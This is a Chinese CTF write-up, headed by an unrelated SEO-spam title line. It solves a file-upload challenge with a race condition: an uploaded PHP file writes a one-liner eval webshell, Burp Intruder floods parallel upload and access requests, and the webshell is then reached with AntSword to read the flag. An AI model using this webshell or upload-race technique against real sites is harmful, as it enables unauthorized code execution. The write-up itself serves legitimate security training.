有哪些網(wǎng)站能夠免費找到素材免費seo教程資源
打開題目鏈接,很常見的文件上傳框
經(jīng)過嘗試,發(fā)現(xiàn)上傳東西后會調(diào)用upload.php,猜測文件被傳到upload目錄下
隨便傳了幾個類型的文件,訪問upload目錄
發(fā)現(xiàn).php文件以及.htaccess、.user.ini這種配置文件都沒有傳上去
但是通過抓包我們可以發(fā)現(xiàn),其實php文件以及配置文件都是上傳成功了的(響應200)
說明文件上傳成功,但是服務器在短時間內(nèi)就立刻將其刪掉了
這種情況只能采取條件競爭
條件競爭原理:當我們成功上傳了php文件,服務端會在短時間內(nèi)將其刪除,我們需要搶在它刪除之前訪問文件并生成一句話木馬文件,所以訪問包的線程需要大于上傳包的線程。
這里我們先寫一個用于上傳的php文件(我這里命名為m.php),內(nèi)容如下:
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
我們可以使用多線程并發(fā)的訪問上傳的文件,總會有一次在上傳文件到刪除文件這個時間段內(nèi)訪問到上傳的php文件(m.php),一旦我們成功訪問到了上傳的文件(m.php),那么它就會向服務器寫一個shell(shell.php)。
換句話說,我們最終利用的并不是我們上傳的文件,上傳只是為了能有一刻成功訪問,一旦訪問成功,便會寫入一句話木馬,我們最終利用的就是新寫入的php文件。
上傳m.php,利用burpsuite抓包(這個是上傳包)
設置上傳包的線程數(shù)(這里設置為30)
設置攻擊載荷,選擇沒有負載,并且勾上無限期地重復
這里注意一個小細節(jié):
如果沒有清除有效負載的位置
開始攻擊后的請求包中filename為空
清除之后,再開始攻擊
filename=m.php(即我們上傳的文件)
接下來我們抓訪問包:
我們直接嘗試訪問shell.php,使用burpsuite進行抓包
同理設置線程數(shù)(這里設置為80)
注意:訪問包的線程數(shù)一定要大于上傳包的線程數(shù)
設置攻擊載荷,選擇沒有負載,并且勾上無限期地重復
設置好之后開始攻擊
最開始可能訪問包都是404或者500
但是過一會兒你再次篩選狀態(tài)碼,你就會看到200的響應
這說明條件競爭成功,已經(jīng)成功向服務器寫入了shell.php
我們訪問upload目錄查看,確實已經(jīng)存在shell.php
接下來使用蟻劍連接即可
在html目錄下找到flag.php
cyberpeace{b2ccdb64cfd4c8f30450d306dab8da1c}